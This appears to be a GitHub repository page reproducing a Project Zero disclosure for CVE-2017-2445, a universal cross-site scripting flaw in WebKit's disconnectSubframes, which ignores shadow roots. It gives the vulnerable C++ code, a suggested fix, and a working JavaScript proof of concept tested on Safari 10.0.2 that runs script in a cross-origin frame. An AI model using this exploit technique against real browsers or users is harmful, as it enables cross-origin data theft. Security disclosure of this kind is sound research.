Skip to content

Latest commit

 

History

History

CVE-2017-2445

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

UXSS via disconnectSubframes

Reported by mailto:[email protected], Jan 9 2017

When an element is removed from a document, the function disconnectSubframes is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of disconnectSubframes.

void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
...
Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

    if (policy == RootAndDescendants) {
        if (is<HTMLFrameOwnerElement>(root))
            frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
    }

    collectFrameOwners(frameOwners, root);

    // Must disable frame loading in the subtree so an unload handler cannot
    // insert more frames and create loaded frames in detached subtrees.
    SubframeLoadingDisabler disabler(root);

    bool isFirst = true;
    for (auto& owner : frameOwners) {
        // Don't need to traverse up the tree for the first owner since no
        // script could have moved it.
        if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
            owner.get().disconnectContentFrame();
        isFirst = false;
    }

}

The bug is that it doesn't consider root's shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

    ...
    collectFrameOwners(frameOwners, root);

    if (is<Element>(root)) {
        Element& element = downcast<Element>(root);
        if (ShadowRoot* shadowRoot = element.shadowRoot())
            collectFrameOwners(frameOwners, *shadowRoot);
    }
    ...

PoC:

var d = document.body.appendChild(document.createElement('div'))
var s = d.attachShadow({mode: 'open'})

var f = s.appendChild(document.createElement('iframe'))

f.onload = () => {
	f.onload = null

	f.src = 'javascript:alert(location)'

	var xml =
		`

<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);

</sc` +
		`ript>
<element a="1" a="2" />
</svg>`

	var v = document.body.appendChild(document.createElement('iframe'))
	v.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}))
}

f.src = 'https://abc.xyz/'

Tested on Safari 10.0.2(12602.3.12.0.1) Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1074